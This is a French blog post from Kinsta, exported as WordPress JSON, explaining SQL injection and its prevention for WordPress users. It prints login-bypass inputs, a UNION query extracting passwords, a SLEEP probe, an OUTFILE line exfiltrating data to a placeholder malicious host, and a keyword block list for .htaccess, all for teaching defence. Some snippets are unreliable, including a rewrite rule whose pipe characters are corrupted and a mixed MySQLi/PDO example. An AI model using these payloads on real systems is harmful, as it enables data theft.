{"id":35985,"date":"2020-01-14T00:42:12","date_gmt":"2020-01-14T08:42:12","guid":{"rendered":"https:\/\/staging.kinsta.site\/?p=62827"},"modified":"2022-07-18T09:09:22","modified_gmt":"2022-07-18T08:09:22","slug":"injections-sql","status":"publish","type":"post","link":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/","title":{"rendered":"Injections SQL : Un guide de d\u00e9butant pour les utilisateurs de WordPress"},"content":{"rendered":"<p>SQL (Structured Query Language) est un langage qui nous permet d&rsquo;interagir avec <a href=\"https:\/\/staging.kinsta.site\/fr\/base-de-connaissances\/bases-de-donnees-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">des bases de donn\u00e9es<\/a>. Les applications Web modernes utilisent des bases de donn\u00e9es pour g\u00e9rer les donn\u00e9es et afficher un contenu dynamique aux lecteurs.<\/p>\n<p>L&rsquo;injection SQL, ou SQLi, est une attaque sur une application web en compromettant sa base de donn\u00e9es par des d\u00e9clarations SQL malveillantes.<\/p>\n<p>Comme il s&rsquo;agit d&rsquo;une attaque courante, essayons d&rsquo;en apprendre davantage sur ce que c&rsquo;est, comment cela se produit et comment s&rsquo;en d\u00e9fendre.<\/p>\n<p>Pr\u00eats ? Plongeons dedans !<\/p>\n<div><\/div><kinsta-auto-toc heading=\"Table of Contents\" exclude=\"last\" list-style=\"arrow\" selector=\"h2\" count-number=\"-1\"><\/kinsta-auto-toc>\n<h2>Qu&rsquo;est-ce que l&rsquo;injection SQL ?<\/h2>\n<p>L&rsquo;injection SQL, ou SQLi, est un type d&rsquo;attaque sur une application web qui permet \u00e0 un attaquant d&rsquo;ins\u00e9rer des instructions SQL malveillantes dans l&rsquo;application web, pouvant potentiellement acc\u00e9der \u00e0 des donn\u00e9es sensibles dans la base de donn\u00e9es ou d\u00e9truire ces donn\u00e9es.l&rsquo;injection SQL a \u00e9t\u00e9 d\u00e9couverte pour la premi\u00e8re fois par Jeff Forristal en 1998.<\/p>\n<p>Au cours des deux d\u00e9cennies qui ont suivi sa d\u00e9couverte, l&rsquo;injection SQL a toujours \u00e9t\u00e9 la principale priorit\u00e9 de <a href=\"https:\/\/staging.kinsta.site\/fr\/blog\/engager-developpeur-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">d\u00e9veloppeurs web<\/a> lors de la conception d&rsquo;applications.<\/p>\n<p>Barclaycard a estim\u00e9 en 2012 que <a href=\"https:\/\/www.techworld.com\/news\/security\/barclays-97-percent-of-data-breaches-still-due-sql-injection-3331283\/\" target=\"_blank\" rel=\"noopener noreferrer\">97 % des violations de donn\u00e9es commencent par une attaque par injection SQL<\/a>. L&rsquo;injection SQL est encore tr\u00e8s r\u00e9pandue aujourd&rsquo;hui et la gravit\u00e9 des attaques par injection dans une application Web est largement reconnue. C&rsquo;est l&rsquo;un des <a href=\"https:\/\/www.owasp.org\/images\/7\/72\/OWASP_Top_10-2017_(en).pdf.pdf\">top 10 des risques de s\u00e9curit\u00e9 des applications Web les plus critiques<\/a> selon l&rsquo;OWASP.<\/p>\n<h2>Comment fonctionne la vuln\u00e9rabilit\u00e9 d&rsquo;injection SQL ?<\/h2>\n<p>Une vuln\u00e9rabilit\u00e9 par injection SQL donne \u00e0 un attaquant un acc\u00e8s complet \u00e0 la base de donn\u00e9es de votre application par l&rsquo;utilisation d&rsquo;instructions SQL malveillantes.<\/p>\n<p>Dans cette section, nous partageons un exemple de ce \u00e0 quoi ressemble une application vuln\u00e9rable.<\/p>\n<p>Imaginez le flux de travail d&rsquo;une application Web typique qui implique des requ\u00eates de base de donn\u00e9es par le biais d&rsquo;entr\u00e9es utilisateur. Vous prenez l&rsquo;entr\u00e9e utilisateur \u00e0 travers un formulaire, disons un <a href=\"https:\/\/staging.kinsta.site\/fr\/blog\/url-connexion-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">formulaire de connexion<\/a>. Vous interrogez ensuite votre base de donn\u00e9es avec les champs soumis par l&rsquo;utilisateur pour les authentifier. La structure de la requ\u00eate vers votre base de donn\u00e9es est quelque chose comme \u00e7a :<\/p>\n<pre><code class=\"language-sql\">select * from user_table\nwhere\u00a0username = 'sdaityari'\nand\u00a0password = 'mypassword';\n<\/code><\/pre>\n<p>Pour plus de simplicit\u00e9, supposons que vous stockiez vos mots de passe en clair. Il est toutefois bon de <a href=\"https:\/\/staging.kinsta.site\/fr\/base-de-connaissances\/salt-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">saler vos mots de passe<\/a> et ensuite les hacher. Ensuite, si vous avez re\u00e7u le nom d&rsquo;utilisateur et le mot de passe du formulaire, vous pouvez d\u00e9finir la requ\u00eate en PHP comme suit :<\/p>\n<pre><code class=\"language-php\">\/\/ Connect to SQL database\n$db_query = \"select * from user_table where\nusername = '\".$user.\"'\nAND password = '\".$password.\"';\";\n\/\/ Execute query\n<\/code><\/pre>\n<p>Si quelqu&rsquo;un saisit la valeur \u00ab\u00a0admin&rsquo;;-\u00a0\u00bb dans le champ du nom d&rsquo;utilisateur, la requ\u00eate SQL r\u00e9sultante que la variable $db_query g\u00e9n\u00e8re sera la suivante :<\/p>\n<pre><code class=\"language-sql\">select * from user_table where\nusername = 'admin';--' and password = 'mypassword'\n<\/code><\/pre>\n<p>\u00c0 quoi sert cette requ\u00eate ?<\/p>\n<p>Un commentaire en SQL commence par un double tiret (&#8211;). La requ\u00eate r\u00e9sultante ne filtre que par le nom d&rsquo;utilisateur sans tenir compte du mot de passe. S&rsquo;il n&rsquo;y avait pas de s\u00e9curit\u00e9 en place pour \u00e9viter cela, on vous accorderait simplement un acc\u00e8s administratif \u00e0 l&rsquo;application Web en utilisant cette astuce.<\/p>\n<p>Alternativement, une attaque bool\u00e9enne peut aussi \u00eatre utilis\u00e9e dans cet exemple pour obtenir un acc\u00e8s. Si un attaquant saisi \u00ab\u00a0password\u2019 or 1=1;-\u00a0\u00bb dans le champ du mot de passe, la requ\u00eate r\u00e9sultante serait la suivante :<\/p>\n<pre><code class=\"language-sql\">select * from user_table where\nusername = 'admin' and\npassword = 'password' or 1=1;--';\n<\/code><\/pre>\n<p>Dans ce cas, m\u00eame si votre mot de passe est erron\u00e9, vous serez authentifi\u00e9 dans l&rsquo;application. Si votre page Web affiche les r\u00e9sultats de la requ\u00eate de la base de donn\u00e9es, un attaquant peut utiliser la commande show tables, commande pour afficher les tables de la base de donn\u00e9es, puis faire tomber s\u00e9lectivement les tables s&rsquo;il le souhaite.<\/p>\n<figure style=\"width: 666px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2019\/11\/exploits-of-a-mom.png\" alt=\"Un dessin anim\u00e9 sur l'injection SQL\" width=\"666\" height=\"205\"><figcaption class=\"wp-caption-text\">Un dessin anim\u00e9 sur l&rsquo;injection SQL (source d&rsquo;image : <a href=\"https:\/\/xkcd.com\/327\/\">XKCD<\/a>)<\/figcaption><\/figure>\n<p>Exploits of a Mom, une bande dessin\u00e9e populaire de XKCD, montre la conversation d&rsquo;une m\u00e8re avec l&rsquo;\u00e9cole de son fils, o\u00f9 on lui demande si elle a vraiment appel\u00e9 son fils \u00ab\u00a0Robert\u2019); DROP TABLE Students; \u2013\u00a0\u00bb.<\/p>\n<h2>Types d&rsquo;injection SQL<\/h2>\n<p>Maintenant que vous connaissez les bases d&rsquo;une vuln\u00e9rabilit\u00e9 d&rsquo;injection SQL, explorons les diff\u00e9rents types d&rsquo;attaques d&rsquo;injection SQL et la raison derri\u00e8re chacune d&rsquo;entre elles.<\/p>\n<h3>Injection SQL In-Band<\/h3>\n<p>L&rsquo;injection SQL In-Band est la forme la plus simple d&rsquo;injection SQL. Dans ce processus, l&rsquo;attaquant est capable d&rsquo;utiliser le m\u00eame canal pour ins\u00e9rer le code SQL malveillant dans l&rsquo;application ainsi que de rassembler les r\u00e9sultats. Nous discuterons de deux formes d&rsquo;attaques par injection SQL en bande :<\/p>\n<h4>Attaque bas\u00e9e sur des erreurs<\/h4>\n<p>Un attaquant utilise une technique d&rsquo;injection SQL bas\u00e9e sur les erreurs lors des phases initiales de son attaque. L&rsquo;id\u00e9e derri\u00e8re une injection SQL bas\u00e9e sur les erreurs est d&rsquo;obtenir plus d&rsquo;informations sur la structure de la base de donn\u00e9es et les noms des tables que l&rsquo;application web suit. Par exemple, un message d&rsquo;erreur peut contenir le nom de la table inclus dans la requ\u00eate et les noms des colonnes de la table. Ces donn\u00e9es peuvent ensuite \u00eatre utilis\u00e9es pour cr\u00e9er de nouvelles attaques.<\/p>\n<h4>Attaque bas\u00e9e sur l\u2019union<\/h4>\n<p>Dans cette m\u00e9thode, un attaquant utilisant l&rsquo;union SQL se joint pour afficher les r\u00e9sultats d&rsquo;une table diff\u00e9rente. Par exemple, si un attaquant est sur une <a href=\"https:\/\/staging.kinsta.site\/fr\/blog\/recherche-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">page de recherche<\/a> il peut ajouter les r\u00e9sultats d&rsquo;un autre tableau.<\/p>\n<pre><code class=\"language-sql\">select title, link from post_table\nwhere id &lt; 10\nunion\nselect username, password\nfrom user_table; --;\n<\/code><\/pre>\n<h3>Injection SQL Inf\u00e9rentielle (Injection SQL aveugle)<\/h3>\n<p>M\u00eame si un attaquant g\u00e9n\u00e8re une erreur dans la requ\u00eate SQL, la r\u00e9ponse de la requ\u00eate peut ne pas \u00eatre transmise directement \u00e0 la page Web. Dans ce cas, l&rsquo;agresseur doit approfondir ses recherches.<\/p>\n<p>Dans cette forme d&rsquo;injection SQL, l&rsquo;attaquant envoie diverses requ\u00eates \u00e0 la base de donn\u00e9es pour \u00e9valuer comment l&rsquo;application analyse ces r\u00e9ponses. Une injection SQL inf\u00e9rentielle est parfois aussi connue sous le nom d&rsquo;<strong>injection SQL aveugle<\/strong>. Nous allons examiner deux types d&rsquo;injections SQL inf\u00e9rentielles ci-dessous : l&rsquo;injection SQL bool\u00e9enne et l&rsquo;injection SQL bas\u00e9e sur le temp.<\/p>\n<h4>Attaque bool\u00e9enne<\/h4>\n<p>Si une requ\u00eate SQL aboutit \u00e0 une erreur qui n&rsquo;a pas \u00e9t\u00e9 trait\u00e9e en interne dans l&rsquo;application, la page Web r\u00e9sultante peut lancer une erreur, charger une page blanche ou se charger partiellement. Dans une injection SQL bool\u00e9enne, un attaquant \u00e9value quelles parties de l&rsquo;entr\u00e9e d&rsquo;un utilisateur sont vuln\u00e9rables aux injections SQL en essayant deux versions diff\u00e9rentes d&rsquo;une clause bool\u00e9enne \u00e0 travers l&rsquo;entr\u00e9e :<\/p>\n<ul>\n<li>\u00ab\u00a0\u2026 and 1=1\u00a0\u00bb<\/li>\n<li>\u00ab\u00a0\u2026 and 1=2\u00a0\u00bb<\/li>\n<\/ul>\n<p>Si l&rsquo;application fonctionne normalement dans le premier cas mais pr\u00e9sente une anomalie dans le second cas, cela indique que l&rsquo;application est vuln\u00e9rable \u00e0 une attaque par injection SQL.<\/p>\n<h4>Attaque bas\u00e9e sur le temps<\/h4>\n<p>Une attaque par injection SQL bas\u00e9e sur le temps peut \u00e9galement aider un attaquant \u00e0 <a href=\"https:\/\/staging.kinsta.site\/fr\/base-de-connaissances\/divulguer-une-vulnerabilite\/\" target=\"_blank\" rel=\"noopener noreferrer\">d\u00e9terminer si une vuln\u00e9rabilit\u00e9 est pr\u00e9sente<\/a> dans une application web. Un attaquant utilise une fonction temporelle pr\u00e9d\u00e9finie du syst\u00e8me de gestion de base de donn\u00e9es utilis\u00e9 par l&rsquo;application. Par exemple, <a href=\"https:\/\/staging.kinsta.site\/fr\/base-de-connaissances\/qu-est-ce-que-mysql\/\" target=\"_blank\" rel=\"noopener noreferrer\">dans MySQL<\/a>, <a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.0\/en\/miscellaneous-functions.html#function_sleep\" target=\"_blank\" rel=\"noopener noreferrer\">la fonction sleep()<\/a> indique \u00e0 la base de donn\u00e9es d&rsquo;attendre un certain nombre de secondes.<\/p>\n<pre><code class=\"language-sql\">select * from comments\nWHERE post_id=1-SLEEP(15);\n<\/code><\/pre>\n<p>Si une telle requ\u00eate entra\u00eene un d\u00e9lai, l&rsquo;attaquant sait qu&rsquo;elle est vuln\u00e9rable.<\/p>\n<h3>Injection SQL Out-of-Band<\/h3>\n<p>Si un attaquant est incapable de rassembler les r\u00e9sultats d&rsquo;une injection SQL par le m\u00eame canal. Les techniques d&rsquo;injection SQL Out-of-Band peuvent \u00eatre utilis\u00e9es comme alternative aux techniques d&rsquo;injection SQL inf\u00e9rentielles.<\/p>\n<p>En g\u00e9n\u00e9ral, ces techniques consistent \u00e0 envoyer des donn\u00e9es de la base de donn\u00e9es vers un endroit malveillant choisi par l&rsquo;attaquant. Ce processus d\u00e9pend aussi fortement des capacit\u00e9s du syst\u00e8me de gestion de la base de donn\u00e9es.<\/p>\n<p>Une attaque d&rsquo;injection SQL Out-of-Band utilise une capacit\u00e9 de traitement de fichiers externe de votre DBMS. Dans MySQL, les fonctions LOAD_FILE() et INTO OUTFILE peuvent \u00eatre utilis\u00e9es pour demander \u00e0 MySQL de transmettre les donn\u00e9es \u00e0 une source externe. Voici comment un attaquant peut utiliser OUTFILE pour envoyer les r\u00e9sultats d&rsquo;une requ\u00eate \u00e0 une source externe :<\/p>\n<pre><code class=\"language-sql\">select * from post_table\ninto OUTFILE '\\\\\\\\MALICIOUS_IP_ADDRESS\\location'\n<\/code><\/pre>\n<p>De m\u00eame, la fonction LOAD_FILE() peut \u00eatre utilis\u00e9e pour lire un fichier sur le serveur et afficher son contenu. Une combinaison de LOAD_FILE() et OUTFILE peut \u00eatre utilis\u00e9e pour lire le contenu d&rsquo;un fichier sur le serveur et le transmettre ensuite \u00e0 un autre emplacement.<\/p>\n<h2>Comment pr\u00e9venir les injections SQL<\/h2>\n<p>Jusqu&rsquo;\u00e0 pr\u00e9sent, nous avons explor\u00e9 les vuln\u00e9rabilit\u00e9s d&rsquo;une application Web qui peuvent conduire \u00e0 des attaques par injection SQL. Une vuln\u00e9rabilit\u00e9 d&rsquo;injection SQL peut \u00eatre utilis\u00e9e par un attaquant pour lire, modifier ou m\u00eame supprimer le contenu de votre base de donn\u00e9es.<\/p>\n<p>De plus, il peut aussi permettre de lire un fichier \u00e0 n&rsquo;importe quel endroit du serveur et d&rsquo;en transf\u00e9rer le contenu ailleurs. Dans cette section, nous explorons diff\u00e9rentes techniques pour prot\u00e9ger votre application web et votre site web contre les attaques par injection SQL.<\/p>\n<h3>\u00c9chappement des entr\u00e9es utilisateur<\/h3>\n<p>De mani\u00e8re g\u00e9n\u00e9rale, il est difficile de d\u00e9terminer si une cha\u00eene utilisateur est malveillante ou non. Par cons\u00e9quent, la meilleure fa\u00e7on de proc\u00e9der est d&rsquo;\u00e9chapper les caract\u00e8res sp\u00e9ciaux dans la saisie de l&rsquo;utilisateur.<\/p>\n<p>Ce processus vous \u00e9vite une attaque par injection SQL. Vous pouvez \u00e9chapper une cha\u00eene de caract\u00e8res avant de construire la requ\u00eate dans <a href=\"https:\/\/staging.kinsta.site\/fr\/blog\/php-est-il-mort\/\">PHP<\/a> en utilisant la fonction <code>mysql_escape_string()<\/code>. Vous pouvez aussi \u00e9chapper une cha\u00eene de caract\u00e8res dans MySQL en utilisant la fonction <code>mysqli_real_escape_string()<\/code>.<\/p>\n<p>Lors de l&rsquo;affichage de la sortie en HTML, vous devrez \u00e9galement convertir la cha\u00eene de caract\u00e8res pour vous assurer que les caract\u00e8res sp\u00e9ciaux n&rsquo;interf\u00e8rent pas avec le balisage HTML. Vous pouvez convertir les caract\u00e8res sp\u00e9ciaux en PHP en utilisant la fonction <code>htmlspecialchars()<\/code>.<\/p>\n<h3>Utiliser des d\u00e9clarations pr\u00e9par\u00e9es<\/h3>\n<p>Vous pouvez \u00e9galement utiliser des d\u00e9clarations pr\u00e9par\u00e9es pour \u00e9viter les injections SQL. Une instruction pr\u00e9par\u00e9e est un mod\u00e8le de requ\u00eate SQL, dans lequel vous sp\u00e9cifiez des param\u00e8tres \u00e0 un stade ult\u00e9rieur pour l&rsquo;ex\u00e9cuter. Voici un exemple d&rsquo;une d\u00e9claration pr\u00e9par\u00e9e en PHP et MySQLi.<\/p>\n<pre><code class=\"language-php\">$query = $mysql_connection-&gt;prepare(\"select * from user_table where username = ? and password = ?\");\n$query-&gt;execute(array($username, $password));<\/code><\/pre>\n<h3>Autres contr\u00f4les pour pr\u00e9venir les attaques SQL<\/h3>\n<p>L&rsquo;\u00e9tape suivante pour att\u00e9nuer cette vuln\u00e9rabilit\u00e9 est de limiter l&rsquo;acc\u00e8s \u00e0 la base de donn\u00e9es au strict n\u00e9cessaire.<\/p>\n<p>Par exemple, connectez votre application Web au DBMS en utilisant un utilisateur sp\u00e9cifique qui n&rsquo;a acc\u00e8s qu&rsquo;\u00e0 la base de donn\u00e9es pertinente.<\/p>\n<p>Restreindre l&rsquo;acc\u00e8s de la base de donn\u00e9es utilisateur \u00e0 tous les autres emplacements du serveur. Vous pouvez \u00e9galement bloquer certains mots-cl\u00e9s SQL dans votre URL via votre serveur Web. Si vous utilisez <a href=\"https:\/\/staging.kinsta.site\/fr\/blog\/nginx-vs-apache\/\" target=\"_blank\" rel=\"noopener noreferrer\">Apache<\/a> en tant que serveur web, vous pouvez utiliser les lignes de code suivantes dans votre <a href=\"https:\/\/staging.kinsta.site\/fr\/base-de-connaissances\/fichier-htaccess-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">.htaccess<\/a> pour afficher une erreur 403 Forbidden \u00e0 un attaquant potentiel.<\/p>\n<p>Vous devez \u00eatre prudent avant d&rsquo;utiliser cette technique car Apache affichera une erreur \u00e0 un lecteur si l&rsquo;URL contient ces mots-cl\u00e9s.<\/p>\n<pre><code>RewriteCond %{QUERY_STRING} [^a-z](declare\u00a6char\u00a6set\u00a6cast\u00a6convert\u00a6delete\u00a6drop\u00a6exec\u00a6insert\u00a6meta\u00a6script\u00a6select\u00a6truncate\u00a6update)[^a-z] [NC]\nRewriteRule (.*) - [F]<\/code><\/pre>\n<aside role=\"note\" class=\"wp-block-kinsta-notice is-style-info\">\n            <h3>Info<\/h3>\n        <p>Kinsta ex\u00e9cute WordPress sur des serveurs web Nginx, qui ne supportent pas les fichiers .htaccess. Si vous souhaitez mettre en place une r\u00e8gle pour bloquer les mots-cl\u00e9s sur votre URL, contactez <a href=\"https:\/\/staging.kinsta.site\/docs\/wordpress-support-ticket\/\" target=\"_blank\" rel=\"noopener noreferrer\">l&rsquo;\u00e9quipe de support de Kinsta<\/a> et ils pourront vous aider.<\/p>\n<\/aside>\n\n<p>Comme conseil de pr\u00e9vention suppl\u00e9mentaire, vous devriez toujours utiliser un <a href=\"https:\/\/staging.kinsta.site\/fr\/blog\/wordpress-pirate\/#2-keep-your-site-updated\" target=\"_blank\" rel=\"noopener noreferrer\">logiciel mis \u00e0 jour<\/a>. Lorsqu&rsquo;une nouvelle version ou un patch est publi\u00e9, les bogues qui ont \u00e9t\u00e9 corrig\u00e9s lors de la mise \u00e0 jour sont d\u00e9taill\u00e9s dans les notes de mise \u00e0 jour. Une fois que les d\u00e9tails d&rsquo;un bogue sont rendus publics, il peut \u00eatre risqu\u00e9 de faire fonctionner une ancienne version d&rsquo;un logiciel.<\/p>\n<h2>Injection SQL dans WordPress<\/h2>\n<p>Vous \u00eates \u00e0 l&rsquo;abri de toute vuln\u00e9rabilit\u00e9 d&rsquo;injection SQL si vous utilisez <a href=\"https:\/\/staging.kinsta.site\/fr\/base-de-connaissances\/coeur-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">les fichiers du noyau de WordPress \u00e0 jour<\/a>. Cependant, lorsque vous utilisez des <a href=\"https:\/\/staging.kinsta.site\/fr\/meilleurs-themes-wordpress\/\">th\u00e8mes et des extensions tierces<\/a>, c&rsquo;est toute votre application qui est en danger.<\/p>\n<p><strong>Votre site WordPress est aussi fort que son lien le plus faible<\/strong>. Dans cette section, nous explorons les consid\u00e9rations cl\u00e9s pour att\u00e9nuer la vuln\u00e9rabilit\u00e9 de l&rsquo;injection SQL dans WordPress et comment effectuer des v\u00e9rifications de vuln\u00e9rabilit\u00e9 sur votre site WordPress existant.<\/p>\n<h3>Pr\u00e9vention de la vuln\u00e9rabilit\u00e9 des injections SQL pour WordPress<\/h3>\n<p>Pour att\u00e9nuer la vuln\u00e9rabilit\u00e9 de l&rsquo;injection SQL dans votre <a href=\"https:\/\/staging.kinsta.site\/fr\/blog\/installer-theme-wordpress\/\">Th\u00e8me ou extension WordPress<\/a>, la seule r\u00e8gle que vous devez suivre est de toujours utiliser <a href=\"https:\/\/developer.wordpress.org\/reference\/functions\/\" target=\"_blank\" rel=\"noopener noreferrer\">les fonctions WordPress existantes<\/a> lors de l&rsquo;interaction avec la base de donn\u00e9es.<\/p>\n<p>Ces fonctions sont minutieusement test\u00e9es pour les vuln\u00e9rabilit\u00e9s d&rsquo;injection SQL pendant le processus de d\u00e9veloppement de WordPress. Par exemple, si vous souhaitez ajouter un commentaire \u00e0 un article, utilisez la <a href=\"https:\/\/developer.wordpress.org\/reference\/functions\/wp_insert_comment\/\">fonction wp_insert_comment()<\/a> plut\u00f4t que d&rsquo;ins\u00e9rer des donn\u00e9es directement dans la table wp_comments.<\/p>\n<p>Bien que les fonctions soient extensibles, vous pouvez occasionnellement avoir besoin d&rsquo;ex\u00e9cuter une requ\u00eate complexe. Dans un tel cas, assurez-vous d&rsquo;utiliser le <a href=\"https:\/\/developer.wordpress.org\/reference\/classes\/wpdb\/\">groupe de fonctions $wp_db<\/a>. Vous pouvez utiliser $wpdb-&gt;prepare() pour \u00e9chapper les entr\u00e9es de l&rsquo;utilisateur avant de cr\u00e9er la requ\u00eate.<\/p>\n<p>De plus, voici <a href=\"https:\/\/developer.wordpress.org\/themes\/theme-security\/data-sanitization-escaping\/\">une liste de fonctions permettant de sanitiser les donn\u00e9es<\/a> dans WordPress. Ceux-ci vous permettent d&rsquo;\u00e9chapper \u00e0 des types sp\u00e9cifiques d&rsquo;entr\u00e9es utilisateur comme les e-mails et les URLs.<\/p>\n<h3>S\u00e9curisez votre site WordPress<\/h3>\n<p>Alors que <a href=\"https:\/\/staging.kinsta.site\/fr\/blog\/wordpress-est-il-securise\/\">WordPress lui-m\u00eame est s\u00e9curis\u00e9<\/a>, des probl\u00e8mes tels que des logiciels de base obsol\u00e8tes, et <a href=\"https:\/\/staging.kinsta.site\/fr\/blog\/plugins-themes-wordpress-nulled\/\">les extensions nulled<\/a> peuvent conduire \u00e0 des vuln\u00e9rabilit\u00e9s. Bien qu&rsquo;il n&rsquo;y ait pas d&rsquo;alternative \u00e0 ce que vous v\u00e9rifiez votre site WordPress pour la vuln\u00e9rabilit\u00e9 de l&rsquo;injection SQL de mani\u00e8re approfondie, la complexit\u00e9 d&rsquo;un site web peut rendre cette t\u00e2che difficile.<\/p>\n<p>Vous pouvez utiliser un outil de scan en ligne tel que <a href=\"https:\/\/db.threatpress.com\/\">ThreatPass<\/a> et <a href=\"https:\/\/wpscan.org\/\">WPScan<\/a>. Vous pouvez auditer vos extensions pour voir si leur d\u00e9veloppement est bloqu\u00e9. Si elles ont \u00e9t\u00e9 abandonn\u00e9es il y a quelque temps, ce n&rsquo;est peut-\u00eatre pas une bonne id\u00e9e de les utiliser sur votre site.<\/p>\n<p>Si vous devez absolument les utiliser, assurez-vous de bien tester leur code et leurs fonctionnalit\u00e9s pour d\u00e9tecter les vuln\u00e9rabilit\u00e9s. En dehors de cela, assurez-vous de suivre ces contr\u00f4les :<\/p>\n<ul>\n<li>Mise \u00e0 jour de PHP, noyau de WordPress et MySQL<\/li>\n<li>Mise \u00e0 jour des extensions et th\u00e8mes<\/li>\n<li>\u00c9vitez d&rsquo;utiliser l&rsquo;utilisateur root pour vous connecter la base de donn\u00e9es SQL<\/li>\n<li>Limiter les acc\u00e8s de l&rsquo;utilisateur SQL aux r\u00e9pertoires sensibles<\/li>\n<li>Bloquer les mots-cl\u00e9s SQL en utilisant votre serveur<\/li>\n<li>Conservez vos sauvegardes hors site en cas de dommages irr\u00e9versibles<\/li>\n<\/ul>\n<p>Voici <a href=\"https:\/\/staging.kinsta.site\/fr\/blog\/securite-wordpress\/\">un article d\u00e9taill\u00e9 sur la s\u00e9curit\u00e9 de WordPress<\/a> et une liste exhaustive des contr\u00f4les. De plus, vous pouvez investir dans ces <a href=\"https:\/\/staging.kinsta.site\/fr\/blog\/plugins-securite-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">extensions de s\u00e9curit\u00e9 pour WordPress<\/a>. Voici ce que vous devez faire pour les<a href=\"https:\/\/staging.kinsta.site\/fr\/blog\/plugins-securite-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\"> extensions de s\u00e9curit\u00e9 pour WordPress<\/a> <a href=\"https:\/\/staging.kinsta.site\/fr\/blog\/wordpress-pirate\/\" target=\"_blank\" rel=\"noopener noreferrer\">si votre site WordPress est pirat\u00e9<\/a> malgr\u00e9 tous vos efforts.<\/p>\n<aside role=\"note\" class=\"wp-block-kinsta-notice is-style-info\">\n            <h3>Info<\/h3>\n        <p>Kinsta fournit un <a href=\"https:\/\/staging.kinsta.site\/fr\/base-de-connaissances\/securite-contre-logiciels-malveillants\/\">engagement de s\u00e9curit\u00e9 contre les logiciels malveillants<\/a> \u00e0 tous ses clients, quel que soit le plan.<\/p>\n<\/aside>\n\n<h2>L&rsquo;injection SQL est-elle ill\u00e9gale ?<\/h2>\n<p>D\u00e9finitivement, oui ! M\u00eame s&rsquo;il y a une vuln\u00e9rabilit\u00e9 r\u00e9elle, un attaquant essaie toujours d&rsquo;acc\u00e9der \u00e0 des donn\u00e9es qui ne lui seraient pas accessibles autrement.<\/p>\n<p>Imaginez un sc\u00e9nario o\u00f9 quelqu&rsquo;un laisse ses cl\u00e9s dans la voiture. Est-ce que le fait de s&rsquo;enfuir dans cette voiture constitue une infraction simplement parce qu&rsquo;elle a \u00e9t\u00e9 laiss\u00e9e ouverte et sans surveillance ? L&rsquo;acte de SQLi rel\u00e8ve de diff\u00e9rentes lois dans divers pays. Il rel\u00e8ve de la <a href=\"https:\/\/www.justice.gov\/sites\/default\/files\/criminal-ccips\/legacy\/2015\/01\/14\/ccmanual.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">Computer Fraud and Abuse Act (1986) aux \u00c9tats-Unis,<\/a> et la <a href=\"http:\/\/www.legislation.gov.uk\/ukpga\/1990\/18\/contents\" target=\"_blank\" rel=\"noopener noreferrer\">Computer Misuse Act (1990) au Royaume-Uni<\/a>.<\/p>\n\n<h2>R\u00e9sum\u00e9<\/h2>\n<p>Les vuln\u00e9rabilit\u00e9s de l&rsquo;injection SQL ont \u00e9t\u00e9 d\u00e9couvertes il y a longtemps. Cependant, <a href=\"https:\/\/www.webarxsecurity.com\/website-hacking-statistics-2018-february\/\" target=\"_blank\" rel=\"noopener noreferrer\">un rapport de 2018 sur les sites web pirat\u00e9s<\/a> sugg\u00e8re que SQLi est l\u2019attaque de site web la plus commune pour WordPress apr\u00e8s les attaques XSS. Pour les emp\u00eacher de se produire, vous devriez :<\/p>\n<ul>\n<li>Comprendre le fonctionnement de la vuln\u00e9rabilit\u00e9 SQL Injection<\/li>\n<li>Explorer les diff\u00e9rentes fa\u00e7ons dont les attaquants peuvent utiliser SQLi pour obtenir un acc\u00e8s non autoris\u00e9 \u00e0 votre application Web<\/li>\n<li>Mettre en place des m\u00e9thodes pour prot\u00e9ger votre site Web contre les attaques SQLi, comme l&rsquo;\u00e9chappement des entr\u00e9es des utilisateurs et l&rsquo;utilisation de d\u00e9clarations pr\u00e9par\u00e9es<\/li>\n<li>Suivre une routine de contr\u00f4le de s\u00e9curit\u00e9<\/li>\n<\/ul>\n<p>Comme le dit le vieux dicton, \u00ab\u00a0Mieux vaut \u00eatre prudent que d\u00e9sol\u00e9 !\u00a0\u00bb<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQL (Structured Query Language) est un langage qui nous permet d&rsquo;interagir avec des bases de donn\u00e9es. Les applications Web modernes utilisent des bases de donn\u00e9es pour &#8230;<\/p>\n","protected":false},"author":118,"featured_media":35988,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_kinsta_gated_content":false,"_kinsta_gated_content_redirect":"","footnotes":""},"tags":[213,269],"topic":[],"class_list":["post-35985","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","tag-securite-du-site","tag-wordpresshack"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v17.1.2 (Yoast SEO v25.8) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Injections SQL : Un guide de d\u00e9butant pour les utilisateurs de WordPress<\/title>\n<meta name=\"description\" content=\"Apprenez ce qu&#039;est une injection SQL, comment la vuln\u00e9rabilit\u00e9 de l&#039;injection SQL peut exister dans vos applications web (comme les sites WordPress) et comment pr\u00e9venir les attaques.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Injections SQL : Un guide de d\u00e9butant pour les utilisateurs de WordPress\" \/>\n<meta property=\"og:description\" content=\"Apprenez ce qu&#039;est une injection SQL, comment la vuln\u00e9rabilit\u00e9 de l&#039;injection SQL peut exister dans vos applications web (comme les sites WordPress) et comment pr\u00e9venir les attaques.\" \/>\n<meta property=\"og:url\" 